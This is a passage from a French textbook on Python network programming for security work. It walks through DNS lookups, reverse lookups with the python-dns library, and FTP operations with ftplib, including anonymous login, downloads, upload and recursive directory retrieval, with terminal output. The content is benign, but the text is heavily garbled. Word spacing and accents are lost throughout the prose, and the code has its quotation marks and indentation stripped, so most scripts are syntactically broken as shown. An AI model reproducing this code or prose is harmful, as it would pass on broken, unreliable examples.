ns2.groupe-mit.com
internet address = 193.227.248.24
> google.fr
Server:
195.221.189.248
Address:
195.221.189.248#53
Non-authoritative answer:
google.fr
nameserver = ns4.google.com.
google.fr
nameserver = ns3.google.com.
google.fr
nameserver = ns2.google.com.
google.fr
nameserver = ns1.google.com.
Authoritative answers can be found from:
google.fr
nameserver = ns4.google.com.
google.fr
nameserver = ns3.google.com.
google.fr
nameserver = ns2.google.com.
google.fr
nameserver = ns1.google.com.
ns4.google.com
internet address = 216.239.38.10
ns3.google.com
internet address = 216.239.36.10
ns2.google.com
internet address = 216.239.34.10
ns1.google.com
internet address = 216.239.32.10
>

2.nslookupbasique
CommenttransformerunnomenuneadresseIP?
Voyonslafonctionsocket.getaddrinfo():

getaddrinfo(host,port[,family[, socktype[, proto[, flags]]]])


- 2-

ENI Editions - All rights reserved - chantal gournier

hostestlenomquevousvoulezrsoudre.
chap1_exo11.py

#!/usr/bin/env python
import sys, socket
result=socket.getaddrinfo(sys.argv[1],None)
print result
print result[0][4]

Dans le script chap1_exo11.py nous allons fournir en argument le nom dun site et grce aux print voir les
rsultatsobtenus.
Rsultatsureni.fr

fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo11.py www.eni.fr
[(2, 1, 6, , (90.83.78.130, 0)), (2, 2, 17, ,
(90.83.78.130, 0)), (2, 3, 0, , (90.83.78.130, 0))]
(90.83.78.130, 0)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

NousobtenonsladresseIPdusiteenretour.
Nousallonsmodifierunpeuleprogrammepourrcuprertouteslesentres.
chap1_exo12.py

#!/usr/bin/env python
import sys, socket
result=socket.getaddrinfo(sys.argv[1],None)
compteur=0
for item in result:
print %2d: %s % (compteur,item[4])
compteur+=1

Nousrcupronsdoncicitouteslesentresquenousmettonsenformegrcelabouclefor.
Rsultatduscript

fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo12.py eni.fr
0: (90.83.78.130, 0)
1: (90.83.78.130, 0)
2: (90.83.78.130, 0)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo12.py google.fr
0: (173.194.67.99, 0)
1: (173.194.67.99, 0)
2: (173.194.67.99, 0)
3: (173.194.67.147, 0)
4: (173.194.67.147, 0)
5: (173.194.67.147, 0)
6: (173.194.67.106, 0)
7: (173.194.67.106, 0)

ENI Editions - All rights reserved - chantal gournier

- 3-

8: (173.194.67.106, 0)
9: (173.194.67.105, 0)
10: (173.194.67.105, 0)
11: (173.194.67.105, 0)
12: (173.194.67.103, 0)
13: (173.194.67.103, 0)
14: (173.194.67.103, 0)
15: (173.194.67.104, 0)
16: (173.194.67.104, 0)
17: (173.194.67.104, 0)
18: (2a00:1450:400c:c01::6a, 0, 0, 0)
19: (2a00:1450:400c:c01::6a, 0, 0, 0)
20: (2a00:1450:400c:c01::6a, 0, 0, 0)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

Touslesprotocoles(TCP,UDP)sonttestsici,onpeutaffinerennedemandantqueTCP.
chap1_exo13.py

#!/usr/bin/env python
# --*-- coding: UTF-8 --*-import sys, socket
result=socket.getaddrinfo("www.google.fr",None,0,
socket.SOCK_STREAM)
print result
print result[0][4]
compteur=0
for item in result:
print "%-2d: %s" % (compteur,item[4])
compteur+=1

Rsultatduscript

fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo13.py
[(2, 1, 6, , (173.194.67.104, 0)), (2, 1, 6, ,
(173.194.67.99, 0)), (2, 1, 6, , (173.194.67.147, 0)), (2,
1, 6, , (173.194.67.106, 0)), (2, 1, 6, , (173.194.67.105,
0)), (2, 1, 6, , (173.194.67.103, 0)), (10, 1, 6, ,
(2a00:1450:400c:c01::67, 0, 0, 0))]
(173.194.67.104, 0)
0 : (173.194.67.104, 0)
1 : (173.194.67.99, 0)
2 : (173.194.67.147, 0)
3 : (173.194.67.106, 0)
4 : (173.194.67.105, 0)
5 : (173.194.67.103, 0)
6 : (2a00:1450:400c:c01::67, 0, 0, 0)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

3.Reverselookup
ContinuonslexplorationduDNSenessayantdecrerunreverselookup(ondonneuneadresseIP,lescriptnous
envoieenretourlenomdemachine).
chap1_exo14.py

#!/usr/bin/env python
# --*-- coding: UTF-8 --*-- 4-

ENI Editions - All rights reserved - chantal gournier

import sys, socket


try :
result=socket.gethostbyaddr("8.8.8.8")
print "le nom dhte primaire est :"
print " "+result[0]
print "\nAdresse :"
for item in result[2]:
print " "+item
except socket.herror,e:
print "ne peut resoudre:",e

Nous utilisons maintenant la fonction gethostbyaddr() qui va nous permettre de rcuprer le nom de la
machineenfonctiondesonadresseIP.
Rsultatduscript

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
python chap1_exo14.py
le nom dhote primaire est :
google-public-dns-a.google.com
Adresse :
8.8.8.8
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

Nousobtenonsbienlenomdelamachine :ladresseIP8.8.8.8correspondgooglepublicdnsa.google.com.

4.LalibrairieDNS
Une librairie spcialise pour le DNS est disponible, son nom est pythondns. Un simple apt-get install
python.dnspermettradaccderlabibliothque DNSquenouspouvonsimporterdansnotrescript.
chap1_exo15.py

#!/usr/bin/env python
# --*-- coding: UTF-8 --*-import sys, DNS
query=sys.argv[1]
DNS.DiscoverNameServers()
reqobj=DNS.Request()
answerobj=reqobj.req(name=query, qtype=DNS.Type.ANY)
if not len(answerobj.answers):
print "pas trouve"
for item in answerobj.answers:
print "%-5s %s" %(item[typename],item[data])

Rsultatduscript

fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo15.py google.fr
NS
ns4.google.com
NS
ns3.google.com
NS
ns2.google.com
NS
ns1.google.com
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo15.py yahoo.fr
NS
ns2.yahoo.com
NS
ns3.yahoo.com

ENI Editions - All rights reserved - chantal gournier

- 5-

NS
ns1.yahoo.com
NS
ns5.yahoo.com
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_exo15.py univ-valenciennes.fr
NS
titan.univ-valenciennes.fr
NS
pulsar.univ-valenciennes.fr
NS
reserv1.univ-lille1.fr
NS
reserv2.univ-lille1.fr

A
193.50.192.166
MX
(0, titan.univ-valenciennes.fr)
SOA
(univ-valenciennes.fr, pulsar.univ-valenciennes.fr,
(serial, 2011120812), (refresh , 21600, 6 hours), (retry,
3600, 1 hours), (expire, 3600000, 5 weeks), (minimum,
172800, 2 days))
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

La premire chose que nous devons faire dans notre script est dappeler DNS.DiscoverNameServers().
CelavapermettredetrouverlenomduoudesserveursDNScontenusdansvotremachine(dans/etc/resolv.conf
sousLinux).
Nousdevonsensuitecrerunobjetrequtegrcer eqobj=DNS.

Request().

La mthode req de lobjet ainsi cr va permettre deffectuer la requte DNS. Cette mthode prend deux
arguments,lenomdudomainetesteretletypederequte(ANY,MX,A,TXT...).
Un objet rponse sera alors retourn qui nous permettra grce sa mthode answers de rcuprer et
daffichergrcelaboucleforlersultatsouhait.

5.Demandepartirdunserveurspcifi
Nousvoudrionsdoncfairelarequtenonplusduserveurspcifidansnotremachinemaisdirectementsurun
serveurquiaautoritdansledomaine.
IlfautdoncdansunpremiertempsfaireunerequteNSsurledomaineenquestionafindercuprerleserveur
dudomaine.
Unefoislinformationobtenue,nousdevronsessayerchaqueserveurdenomsetutiliserlesrsultatsdupremier
quirpondralademande.
chap1_exo16.py

#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket,sys,DNS
def hierquery(qstring,qtype):
reqobj=DNS.Request()
try:
answerobj=reqobj.req(name=qstring, qtype=qtype)
answers=[x[data] for x in answerobj.answers if
x[type] == qtype]
except DNS.Base.DNSError:
answers=[]
if len(answers):
return answers
else:
remainder=qstring.split(".",1)
if len(remainder) == 1:
return None
- 6-

ENI Editions - All rights reserved - chantal gournier

else:
return hierquery(remainder[1],qtype)
def findnameservers(hostname):
return hierquery(hostname, DNS.Type.NS)
def getrecordsfromnameserver(qstring,qtype,nslist):
for ns in nslist:
reqobj=DNS.Request(server=ns)
try:
answers=reqobj.req(name=qstring,qtype=qtype)
.answers
if len (answers):
return answers
except DNS.Base.DNSError:
pass
return []
def nslookup(qstring,qtype,verbose=-1):
nslist=findnameservers(qstring)
if nslist==None:
raise RunTimeError, "Impossible de trouver de
serveur de noms a utiliser."
if verbose:
print "Utilisation du serveur de noms:",", ".join(nslist)
return getrecordsfromnameserver(qstring,qtype,nslist)
query=sys.argv[1]
DNS.DiscoverNameServers()
answers=nslookup(query, DNS.Type.ANY)
if not len(answers):
print "ne trouve pas."
for item in answers:
print "%-5s %s"%(item[typename],item[data])

Rsultatscriptchap1_exo16.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo16.py univ-valenciennes.fr
Utilisation du serveur de noms: reserv2.univ-lille1.fr, titan.univvalenciennes.fr, pulsar.univ-valenciennes.fr, reserv1.univlille1.fr
SOA
(univ-valenciennes.fr, pulsar.univ-valenciennes.fr,
(serial, 2011121312), (refresh , 21600, 6 hours), (retry,
3600, 1 hours), (expire, 3600000, 5 weeks), (minimum,
172800, 2 days))
NS
reserv2.univ-lille1.fr
NS
reserv1.univ-lille1.fr
NS
titan.univ-valenciennes.fr
NS
pulsar.univ-valenciennes.fr
A
193.50.192.166
MX
(0, titan.univ-valenciennes.fr)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo16.py eni.fr
Utilisation du serveur de noms: ns1.groupe-mit.com, ns2.groupemit.com
ne trouve pas.

Lafonctionnslookup()appellelafonctionfindnameservers()pourobtenirlalistedesserveursdenoms
dudomaine.Cettelisteestutilisepourappeler getrecordsfromnameserver()quiessaielarequtesur
chacundesserveursdelaliste.

6.Miseenformedesrsultatsobtenus

ENI Editions - All rights reserved - chantal gournier

- 7-

Reprenonslescriptprcdentetcronsunnouveauscriptquiutiliseraunepartieduprcdentafindemettreen
formelesrsultatsobtenus.
chap1_exo17.py

#!/usr/bin/env python
#--*--coding : UTF-8 --*-import sys,DNS,chap1_exo16,re
def getreverse(query):
if re.search(\d+\.\d+\.\d+\.\d+$,query):
octets=query.split(.)
octet.reverse()
return ..join(octets)+.IN-ADDR.ARPA
return None
def formatline(index, typename, descr,data):
retval="%-2s %-5s"%(index,typename)
data=data.replace("\n", "\n
")
if descr != None and len(descr):
retval += " %-12s"%(descr + ":")
return retval + " "+data
DNS.DiscoverNameServers()
queries=[(sys.argv[1], DNS.Type.ANY)]
print queries
donequeries=[]
descriptions={"A":"adresse IP","TXT":"Data","PTR":"nom
dhote","CNAME":"Alias pour ","NS":"Serveur de noms"}
while len(queries):
(query,qtype)=queries.pop(0)
print query
print qtype
if query in donequeries:
continue
donequeries.append(query)
print "-"*77
print "Resultats pour %s(lookup type %s)"%
(query,DNS.Type.typestr(qtype))
print
rev=getreverse(query)
if rev:
print "Adresse IP recuperee, lancement du reverse lookup
avec",rev
query=rev
answers=chap1_exo16.nslookup(query,qtype,verbose=0)
if not len(answers):
print "pas trouve"
count =0
for answer in answers:
count +=1
if answer[typename] == MX:
print
formatline(count,answer[typename],Serveur Mail,"%s, priorite
%d"%(answer[data][1],answer[data][0]))
queries.append((answer[data][1],DNS.Type.A))
elif answer[typename]=="SOA":
data="\n"+"\n".join([str(x) for x in
answer[data]])
print formatline(count,SOA,Autorite de
Depart,data)
elif answer[typename] in descriptions:
print
formatline(count,answer[typename],descriptions[answer[typename
]],answer[data])

- 8-

ENI Editions - All rights reserved - chantal gournier

else:
print
formatline(count,answer[typename],None, str(answer[data]))
if answer[typename] in [CNAME,PTR]:
queries.append((answer[data],DNS.Type.ANY))
if answer[typename] == NS:
queries.append((answer[data],DNS.Type.A))

Silonobservelersultatdecescriptsurunsite,nousobtenons :
Rsultatscriptchap1_exo17.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo17.py univ-valenciennes.fr
Utilisation du serveur de noms: reserv2.univ-lille1.fr, titan.univvalenciennes.fr, pulsar.univ-valenciennes.fr, reserv1.univlille1.fr
SOA
(univ-valenciennes.fr, pulsar.univ-valenciennes.fr,
(serial, 2011121401), (refresh , 21600, 6 hours), (retry,
3600, 1 hours), (expire, 3600000, 5 weeks), (minimum,
172800, 2 days))
NS
titan.univ-valenciennes.fr
NS
reserv1.univ-lille1.fr
NS
reserv2.univ-lille1.fr
NS
pulsar.univ-valenciennes.fr
A
193.50.192.166
MX
(0, titan.univ-valenciennes.fr)
[(univ-valenciennes.fr, 255)]
univ-valenciennes.fr
255
------------------------------------------------------------------Resultats pour univ-valenciennes.fr(lookup type ANY)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

Nousavonsvuunaperudelabibliothquepythondns.Dautrespossibilitssoffrentnous,maisnousnous
sommeslimitslutilisationpourlascuritinformatique.LeReverseDNSnedevraitenprincipetreaccessible
quen interne de lentreprise. Si cela est possible de lextrieur,ladministrateur rseau devra sinvestir dans la
scurisationdesesserveurs.

ENI Editions - All rights reserved - chantal gournier

- 9-

FTP :FileTransferProtocol
1.Introduction
LestandarddelaRFCestRFC959.
Vouspouvezlatrouversurwww.faqs.org/rfcs/rfc959.html.
VoyonslestapespouruneconnexionFTP :

Premirement,leclientFTPtablitunedemandedeconnexionsurleportduserveurFTP.

Leclientsauthentifie.

Leclientcommencecouterlesdonnesdeconnexionsurunnouveauportetinformeleserveurque
cenouveauportestouvert.

Leserveurseconnectesurleportduclient.

Lefichierestensuitetransmisetlaconnexiondedonnesestferme.

La premire approche de ltude du FTP avec Python va tre une tentative de connexion sur un serveur FTP
acceptantlesconnexionsanonymes.
Grce aux recherches Google, vous pourrez trouver de nombreux sites sur lesquels vous pourrez tester vos
programmes.
Vous pouvez aussi installer sur votre machine un serveur FTP tel que Ability Server sous Windows ou VsFtpd
sousLinux.

2.FTPanonyme
chap1_exo18.py

#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
f=FTP(ftp.obspm.fr)
print "Bonjour: ",f.getwelcome()
f.login()
print "CWD:",f.pwd()
f.quit()

Nousutilisonsdonclabibliothqueftplib.
CellecicontientunemthodeFTP.
La connexion au site est assez simple, il suffit de crer un objet ftp appel f et de lui donner en paramtre
ladressedusitedsir.
Lamthodegetwelcome()permetdercuprerlabannirerenvoyeparleserveurFTPlorsdelaconnexion.
Lafonctionlogin()peutprendreplusieursparamtrestelsquelenomdutilisateur,lemotdepasse.Appele
sansparamtres,elleenvoiecommeutilisateuranonymousetunmotdepassegnriqueauserveurFTP.

PWD()permetdevoirlerpertoirecourantdusiteFTPdistant.

ENI Editions - All rights reserved - chantal gournier

- 1-

Lamthodequit()permetdefermerproprementlaconnexiontablieplushaut.
Rsultatdechap1_exo18.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo18.py
Bonjour: 220 ftp.obspm.fr FTP server ready.
CWD: /
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

3.TlchargementdefichiersASCII
AvecFTP,onpeuttlchargerenmodeASCIIoubinaire(image,fichiersPDF,excutables...).
EnmodeASCII,lesfichierssonttransfrsligneparligne,cequipermetauclientdestockerlefichieravecles
finsdelignesappropriesausystme.
chap1_exo19.py

#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
def writeline(data):
fd.write(data+"\n")
f=FTP(ftp.kernel.org)
f.login()
f.cwd(/pub/linux/kernel)
fd=open(README,wt)
f.retrlines(RETR README,writeline)
fd.close()
f.quit()

Lacommandecwd()permetdechangerderpertoire.

Mthoderetrlines()

Lepremierparamtrespcifieunecommandelancersurlesystmedistant(ici RETRsuividunomde
fichier).
Lesecondparamtreestunefonctionquipermetdcrirechaquelignereueenplaantunretourla
lignelafin.Sionneplacepasdesecondparamtre,leslignessontafficheslcran.

Rsultatduscriptchap1_exo19.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo19.py
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ ls
chap1_exo10.py
chap1_exo13.py
chap1_exo16.py
chap1_exo18.py chap1_exo3.py chap1_exo6.py chap1_exo9.py
chap1_exo11.py
chap1_exo14.py
chap1_exo16.pyc
chap1_exo19.py chap1_exo4.py chap1_exo7.py index.html
chap1_exo12.py
chap1_exo15.py
chap1_exo17.py
chap1_exo2.py
chap1_exo5.py
chap1_exo8.py README
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ more README
Linux kernel release 2.0.xx

- 2-

ENI Editions - All rights reserved - chantal gournier

These are the release notes


carefully, as they tell you
explain how to install the
and what to do if something

for linux version 2.0. Read them


what this is all about,
kernel,
goes wrong.

WHAT IS LINUX?
Linux is a Unix clone written from scratch by Linus Torvalds
with assistance from a loosely-knit team of hackers
across the Net.
It aims towards POSIX compliance.
It has all the features you would expect in a modern
fully-fledged Unix, including true multitasking,
virtual memory, shared libraries, demand loading,
shared copy-on-write executables, proper memory management and TCP/
IP networking.
It is distributed under the GNU General Public License - see the
accompanying COPYING file for more details.
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

Nous avons grce ce script tabli une connexion anonyme sur ftp.kernel.org, puis nous avons chang de
rpertoire(f.cwd(/pub/linux/kernel).
NouspouvonsenfinrcuprerlefichierASCIIappelREADMEgrcef.retrlines().
Lafonctionwriteline()permetdepasserlaligneaprschaquephrase.
Commentcelavatilsepasserpourunchargementdefichierenmodebinaire ?

4.Tlchargementdefichiersbinaires
chap1_exo20.py

#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
f=FTP(ftp.kernel.org)
f.login()
f.cwd(/pub/linux/kernel/v1.0)
fd=open(patch8.gz,wb)
f.retrbinary(RETR patch8.gz,fd.write)
fd.close()
f.quit()

Pasdegrossesdiffrencesiciparrapportauscriptprcdent.
En lieu et place de f.retrlines(), nous utiliserons la mthode f.retrbinary() qui permet donc le
rapatriementdefichiersbinaires.
Ilaurafallubiensraupralableouvrirunfichier(patch8.gz)enmodebinaireetencriture.

5.Tlchargementavancdefichiersbinaires
chap1_exo20.py

ENI Editions - All rights reserved - chantal gournier

- 3-

#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
import sys
f=FTP(ftp.kernel.org)
f.login()
f.cwd(/pub/linux/kernel/v1.0)
f.voidcmd("TYPE I")
datasock,estsize=f.ntransfercmd("RETR linux-1.0.tar.gz")
transbytes=0
fd=open(linux-1.0.tar.gz,wb)
while 1:
buf=datasock.recv(2048)
if not len(buf):
break
fd.write(buf)
transbytes +=len(buf)
print "Reception de %d" %transbytes
if estsize:
print " sur %d octets (%.1f%%)\r"%
(estsize,100.0*float(transbytes)/float(estsize))
else:
print "octets\r"
print "\n"
fd.close()
datasock.close()
f.voidresp()
f.quit()

ntransfercmd():permetdeconnatrelenombredoctetstransfrs onpeutdoncutilisercetteinformation
pourafficherlavancement.

voidcmd():permetdepasserunecommandeftpdirectementauserveur,vrifiesilyadeserreursmaisne
retournerien.Pourcela,indiquerTYPEI,cequiinitialiseletransfertpouruneimageouunfichierbinaire.

voidresp():litlarponseduserveuretgnreuneexceptionsilyauneerreur.
Rsultatduscriptchap1_exo20.py

Reception de 1251072
sur 1259161 octets (99.4%)
Reception de 1252520
sur 1259161 octets (99.5%)
Reception de 1253968
sur 1259161 octets (99.6%)
Reception de 1255416
sur 1259161 octets (99.7%)
Reception de 1256864
sur 1259161 octets (99.8%)
Reception de 1258312
sur 1259161 octets (99.9%)
Reception de 1259161
sur 1259161 octets (100.0%)
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

- 4-

ENI Editions - All rights reserved - chantal gournier

Nouspouvonsdoncobtenirgrcecescommandesuntatdavancementdutlchargement.

6.Envoidedonnes
chap1_exo21.py

#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
import sys, getpass, os.path
host, username,localfile, remotepath=sys.argv[1:]
password=getpass.getpass("Entrez le mot de passe pour %s sur %s"%
(username, host))
f=FTP(host)
f.login(username,password)
f.cwd(remotepath)
fd=open(localfile,rb)
f.storbinary(STOR %s%os.path.basename(localfile),fd)
fd.close()
f.quit()

Lamthodestorbinary()vanouspermettredenvoyerunfichiersurleserveurFTPdansundossierspcifi
ilfautbiensrquenousayonslesdroitsdcriturecetemplacement.
Pourlancercescript,nousdevronsdonnerenargumentsladresseduserveurFTP,lidentifiantdeconnexion,le
fichiercharger(survotremachinelocaledonc)etlecheminonoussouhaitonsdposercefichier.
Nous ne sommes plus ici anonyme. Cest pourquoi nous allons devoir entrer notre mot de passe aprs la
validation de lidentifiant.Celaseferagrce getpass.getpass() qui va rcuprer le mot de passe entr
parlutilisateuretparf.login()danslequelnousindiqueronslidentifiantetlemotdepasse.
Lesautrescommandesonttvuesprcdemment.
Rsultatduscriptchap1_exo21.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo21.py 127.0.0.1 fasm chap1_exo20.py . Entrez le mot de
passe pour fasm sur 127.0.0.1
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ ls
/home/fasm/ | grep cha
challenges
chap1_exo20.py
Telechargements
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

Nousvoyonsdanslexemplecidessuslesuccsdutransferteffectu.

7.LeserreursFTP
Vouspouvezutiliserftplib.all_errors.

try :
Instructions
except ftplib.all_errors:
instructions

ENI Editions - All rights reserved - chantal gournier

- 5-

all_errors permet de rcuprer toute erreur de connexion. Cela inclut les quatre exceptions suivantes et
IOError(erreurdentresortie):

error_reply:rponseduserveurinattendue.

error_temp:lorsquuneerreurdelaplage400499estreue.

error_perm:lorsquuneerreurdelaplage500599estreue.

error-proto : quand une rponse du serveur est reue qui ne commence pas par un digit compris
entre1et5.

8.Listerlecontenudesrpertoires
Deuxfonctionssontutilisables:nlst()etdir().

nlst():retourneunelistedesnomsdesrpertoiresetdesfichiersprsentsdanslerpertoiredonn,mais
nousnesavonspassiunlmentdelalisteestunrpertoire,unfichier,sataille...

dir():retourneunelistedesrpertoiresquicontientlenom,lataille,ladatedemodificationetletype(ls al).
chap1_exo22.py :exempleavecnlst()

#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
f=FTP(ftp.kernel.org)
f.login()
f.cwd(/pub/linux/kernel)
entre=f.nlst()
entre.sort()
print "%d entrees:"%len(entre)
for item in entre:
print item
f.quit()

Rsultatduscriptchap1_exo22.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo22.py
25 entrees:
COPYING
CREDITS
Historic
README
SillySounds
crypto
next
people
ports
projects
testing
uemacs
v1.0
v1.1
v1.2
v1.3
v2.0
v2.1
v2.2
- 6-

ENI Editions - All rights reserved - chantal gournier

v2.3
v2.4
v2.5
v2.6
v3.0
v3.x
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

chap1_exo23.py :exempleavecdir()

#!/usr/bin/env python
# --*-- coding: UTF-8 --*-from ftplib import FTP
f=FTP(ftp.kernel.org)
f.login()
f.cwd(/pub/linux/kernel)
entre=[]
f.dir(entre.append)
print "%d entrees:"%len(entre)
for item in entre:
print item
f.quit()

Rsultatduscriptcap1_exo23.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples$
./chap1_exo23.py
25 entrees:
-r--r--r-1 536
536
18458 Mar 13 1994 COPYING
-r--r--r-1 536
536
36981 Sep 16 1996 CREDITS
drwxrwsr-x
4 536
536
4096 Mar 20 2003 Historic
-r--r--r-1 536
536
12056 Sep 16 1996 README
drwxrwsr-x
2 536
536
4096 Apr 14 2000 SillySounds
drwxrwsr-x
5 536
536
4096 Nov 24 2001 crypto
drwxr-sr-x
2 536
536
4096 Dec 14 07:23 next
drwxr-sr-x 392 536
536
12288 Nov 29 23:44 people
drwxrwsr-x
6 536
536
4096 Mar 13 2003 ports
drwxr-sr-x
6 536
536
4096 Nov 04 17:02 projects
drwxrwsr-x
3 536
536
4096 Feb 14 2002 testing
drwxrwsr-x
2 536
536
4096 Mar 20 2003 uemacs
drwxrwsr-x
2 536
536
4096 Mar 20 2003 v1.0
drwxrwsr-x
2 536
536
36864 Mar 20 2003 v1.1
drwxrwsr-x
2 536
536
12288 Mar 20 2003 v1.2
drwxrwsr-x
2 536
536
69632 Mar 20 2003 v1.3
drwxrwsr-x
3 536
536
32768 Feb 08 2004 v2.0
drwxrwsr-x
2 536
536
81920 Mar 20 2003 v2.1
drwxrwsr-x
3 536
536
20480 Mar 24 2004 v2.2
drwxrwsr-x
2 536
536
36864 Mar 20 2003 v2.3
drwxrwsr-x
5 536
536
24576 Dec 18 2010 v2.4
drwxrwsr-x
4 536
536
57344 Jul 14 2003 v2.5
drwxr-sr-x
10 536
536
77824 Nov 07 21:19 v2.6
lrwxrwxrwx
1 536
536
4 Oct 11 22:41 v3.0 -> v3.x
drwxr-sr-x
5 536
536
12288 Dec 09 17:21 v3.x
fasm@moya:~/ENI_livre_formation/livre_python/exemples$

9.Lesautrescommandesutiles
Supprimerdesfichiersetrpertoires

ENI Editions - All rights reserved - chantal gournier

- 7-

Vouspouvezutilisersoitdelete(),soitrmd().

delete():effacelesfichiers.

effacer = raw_input("Tapez le nom du fichier a effacer"


f-delete(effacer)

delete()retournelenomdufichiersicelaarussi,nouspouvonsdonccomplterparceci:

delete = f.delete(effacer)
print delete

rmd():effacelesrpertoires.

effacer = raw_input("tapez le nom du repertoire a effacer


f.rmd(effacer)

Crerdesrpertoires

mkd()permetdecrerunrpertoiresurleserveur.

creation = raw_input("tapez le nom du repertoire a creer")


f.mkd(creation)

Renommerdesfichiers
Lamthoderename()vanouspermettrederenommerlesfichiersoudossiers.

renommer = raw_input("tapez le nom du fichier ou du dossier


a renommer")
renommer_en = raw_input("le renommer en :")
f.rename(renommer, renommer_en)

10.Tlchargerrcursivementdesdonnes
Nouspouvonsmaintenantdposeretrcuprerdesfichiersmaiscommentallonsnousfairesinoussouhaitons
rcuprerundossieravecdessousdossiers etdesfichiers ?
chap1_exo24.py

#!/usr/bin/env python
#--*-- coding:UTF-8 --*-from ftplib import FTP
import os,sys
class DirEntry:
def __init__(self, line):
self.parts=line.split(None,8)

- 8-

ENI Editions - All rights reserved - chantal gournier

def isvalid(self):
return len(self.parts) >= 6
def gettype(self):
return self.parts[0][0]
def getfilename(self):
if self.gettype() != l:
return self.parts[-1]
else:
return self.parts[-1].split( -> ,1)[0]
def getlinkdest(self):
if self.gettype()==l:
return self.parts[-1].split( -> ,1)[1]
else:
raise RuntimeError,"erreur dappel de
getlinkdest() "
class DirScanner(dict):
def addline(self,line):
obj=DirEntry(line)
if obj.isvalid():
self[obj.getfilename()]=obj
def downloadfile(ftpobj,filename):
ftpobj.voidcmd("TYPE I")
datasock, estsize=ftpobj.ntransfercmd("RETR %s"%filename)
transbytes = 0
fd=open(filename,wb)
while 1:
buf=datasock.recv(2048)
if not len(buf):
break
fd.write(buf)
transbytes += len(buf)
sys.stdout.write("%s: reception de %d "%
(filename,transbytes))
if estsize:
sys.stdout.write("sur %d octets (%.1f%
%)\r"%(estsize,100.0 * float(transbytes)/float(est$
else:
sys.stdout.write("octets\r")
fd.close()
datasock.close()
ftpobj.voidresp()
sys.stdout.write("\n")
def downloaddir(ftpobj,localpath,remotepath):
print "**** repertoire en cours ", remotepath
localpath=os.path.abspath(localpath)
oldlocaldir=os.getcwd()
if not os.path.isdir(localpath):
os.mkdir(localpath)
olddir=ftpobj.pwd()
try:
os.chdir(localpath)
ftpobj.cwd(remotepath)
d=DirScanner()
f.dir(d.addline)
for filename, entryobj in d.items():
if entryobj.gettype() == -:
downloadfile(ftpobj,filename)
elif entryobj.gettype() == d:
downloaddir(ftpobj, localpath +
/+filename,remotepath+ / +filename)
print "**** repertoire en cours
",remotepath
finally:
os.chdir(oldlocaldir)
ftpobj.cwd(olddir)

ENI Editions - All rights reserved - chantal gournier

- 9-

f=FTP(ftp.kernel.org)
f.login()
downloaddir(f,old-versions,/pub/linux/kernel/Historic/oldversions)
f.quit()

Danscescript,aprslaconnexionsurleserveurdistant,nouscronslesrpertoiresduserveurdistantsurnotre
machineenvrifiantleurexistencelocale.Puisnousrcupronslesfichiersunun.Sinousrencontronsdansce
rpertoireunautrerpertoire,nousprocdonsdelammemanire,noustravaillons doncrcursivement.Lebut
tantdecrerlarborescencedistantesurnotremachineenlocalsanscopierde"doublons".
Rsultatduscriptchap1_exo24.py

fasm@moya:~/ENI_livre_formation/livre_python/exemples/ftp$
./chap1_exo24.py
**** repertoire en cours /pub/linux/kernel/Historic/old-versions
linux-0.96b.patch2.gz: reception de 5825 sur 5825 octets (100.0%)
RELNOTES-0.95a: reception de 6257 sur 6257 octets (100.0%)
linux-0.96c.patch2: reception de 155717 sur 155717 octets (100.0%)
linux-0.96a.patch3.sign: reception de 248 sur 248 octets (100.0%)
linux-0.96b.tar.gz.sign: reception de 248 sur 248 octets (100.0%)
linux-0.12.tar.gz: reception de 132391 sur 132391 octets (100.0%)
linux-0.95.tar.sign: reception de 248 sur 248 octets (100.0%)
**** repertoire en cours /pub/linux/kernel/Historic/oldversions/tytso
linux-0.10.tar.gz.sign: reception de 248 sur 248 octets (100.0%)
linux-0.10.tar.sign: reception de 248 sur 248 octets (100.0%)
linux-0.10.tar.gz: reception de 123051 sur 123051 octets (100.0%)
**** repertoire en cours /pub/linux/kernel/Historic/old-versions
linux-0.96a.patch3.gz.sign: reception de 248 sur 248 octets
(100.0%)
linux-0.96b.patch1.gz: reception de 6672 sur 6672 octets (100.0%)

Cescriptestunecompilationdecequenousavonsvuprcdemment.

- 10 -

ENI Editions - All rights reserved - chantal gournier

Lesexpressionsrgulires
1.Introduction
Comprendrelesmotsetjongleravecceuxciestunechoseimpossiblepournosordinateurs.Paradoxalquandon
